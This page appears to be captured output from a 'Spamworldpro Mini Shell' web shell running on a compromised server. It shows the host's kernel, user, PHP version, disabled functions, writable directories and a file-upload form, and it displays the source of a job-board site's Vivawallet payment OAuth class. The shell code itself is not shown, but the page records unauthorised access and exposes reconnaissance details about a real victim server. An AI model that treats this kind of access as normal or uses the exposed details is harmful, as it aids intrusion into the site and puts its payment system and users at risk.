Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/job-board.corals.io/Corals/modules/Payment/Vivawallet/Classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/job-board.corals.io/Corals/modules/Payment/Vivawallet/Classes/OAuth.php
<?php

namespace Corals\Modules\Payment\Vivawallet\Classes;

use GuzzleHttp\RequestOptions;

class OAuth
{
    /**
     * @var \Corals\Modules\Payment\Vivawallet\Classes\Client
     */
    protected $client;

    /**
     * Constructor.
     */
    public function __construct(Client $client)
    {
        $this->client = $client;
    }

    /**
     * Request access token and set it to the client.
     *
     * @param string|null $clientId
     * @param string|null $clientSecret
     * @param array $guzzleOptions
     * @return \stdClass
     */
    public function requestToken(
        ?string $clientId = null,
        ?string $clientSecret = null,
        array $guzzleOptions = []
    )
    {
        $response = $this->token(
            $clientId,
            $clientSecret,
            $guzzleOptions
        );

        $this->withToken($response->access_token);

        return $response;
    }

    /**
     * Set the given token to the client.
     */
    public function withToken(string $token): self
    {
        $this->client->withToken($token);

        return $this;
    }

    /**
     * Request access token.
     *
     * @param string $clientId
     * @param string $clientSecret
     * @param array $guzzleOptions Additional options for the Guzzle client
     * @return \stdClass
     */
    public function token(
        string $clientId,
        string $clientSecret,
        array $guzzleOptions = []
    )
    {
        $parameters = ['grant_type' => 'client_credentials'];

        return $this->client->post(
            $this->client->getAccountsUrl()->withPath('/connect/token'),
            array_merge([
                RequestOptions::FORM_PARAMS => $parameters,
                RequestOptions::AUTH => [$clientId, $clientSecret],
            ], $guzzleOptions)
        );
    }
}

Spamworldpro Mini